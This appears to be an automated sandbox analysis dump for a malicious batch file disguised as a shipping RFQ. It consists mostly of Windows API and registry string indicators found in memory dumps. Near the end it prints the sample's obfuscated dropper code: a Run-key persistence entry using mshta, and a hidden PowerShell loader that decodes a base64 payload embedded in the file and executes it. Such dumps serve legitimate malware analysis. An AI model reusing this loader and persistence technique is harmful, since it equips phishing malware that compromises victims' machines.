(Indicator: "RtlCaptureContext"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp")39:T626,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp")3a:T112c,"mcmd=mshta.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Reinforce /t REG_SZ /d "%mcmd% \"%hta_p%\"" /f >nul 2>&1set /a Illegal=%RANDOM% + %RANDOM%if exist %TEMP% set Chip=1set EXTRA=%RANDOM%set preparation=%COMPUTERNAME%if exist %TEMP% set WRAP=1if exist %TEMP% set Presentation=1if exist %TEMP% set COLUMN=1set song=%RANDOM%set /a Birth=%RANDOM% %% 100set Depending=%RANDOM%set resistance=%COMPUTERNAME%if exist %TEMP% set Extraordinary=1set CLOSE=%RANDOM%set /a Buck=%RANDOM% %% 100set Shape=powerset Detailed=shellset REPRESENT=%Shape%%Detailed%%REPRESENT% -nop -w h -ep bypass -c "try { $TEENAGER = [IO.File]::ReadAllText('%~f0'); if ($TEENAGER -match '::eXBGgWPnnHxwC8([A-Za-z0-9+/=]+)') { $PHYSICALLY = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])); $PHYSICALLY | Out-File -FilePath '%TEMP%\Valuable.ps1' -Encoding UTF8 } } catch {}" >nul 2>&1%REPRESENT%.exe -nop -w h -ep bypass -f "%TEMP%\Valuable.ps1" >nul 2>&1del "%TEMP" in Source: RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Reinforce /t REG_SZ /d "%mcmd% \"%hta_p%\"" /f >nul 2>&1" in Source: RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Reinforce /t REG_SZ /d "mshta.exe \"%USERPROFILE%\AppData\Roam" in Source: 00000000-00001468-00000C47-1934342140, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Reinforce /t REG_SZ /d "mshta.exe \"%APPDATA%\Microsoft\Windows\Templates\Together.hta\"" /f" in Source: reg.exe, "1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0L" in Source: 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp, 00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp, "Machine\Software\Classes\CLSID" in Source: 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp, 00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp, 00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp, 00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp, 00000000-00002240.00000001.193887.CB1E0000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp, 00000000-00002240.00000001.193887.CB1E0000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp, "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp, "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004004.00000000.194219.09DD0000.00000004.mdmp, 00000000-00004004.00000001.195692.09DD0000.00000004.mdmp, "E\Software\M" in Source: 00000000-00004004.00000000.194219.09DD0000.00000004.mdmp, 00000000-00004004.00000001.195692.09E00000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004004.00000000.194219.09DD0000.00000004.mdmp, 00000000-00004004.00000001.195692.09E00000.00000004.mdmp, 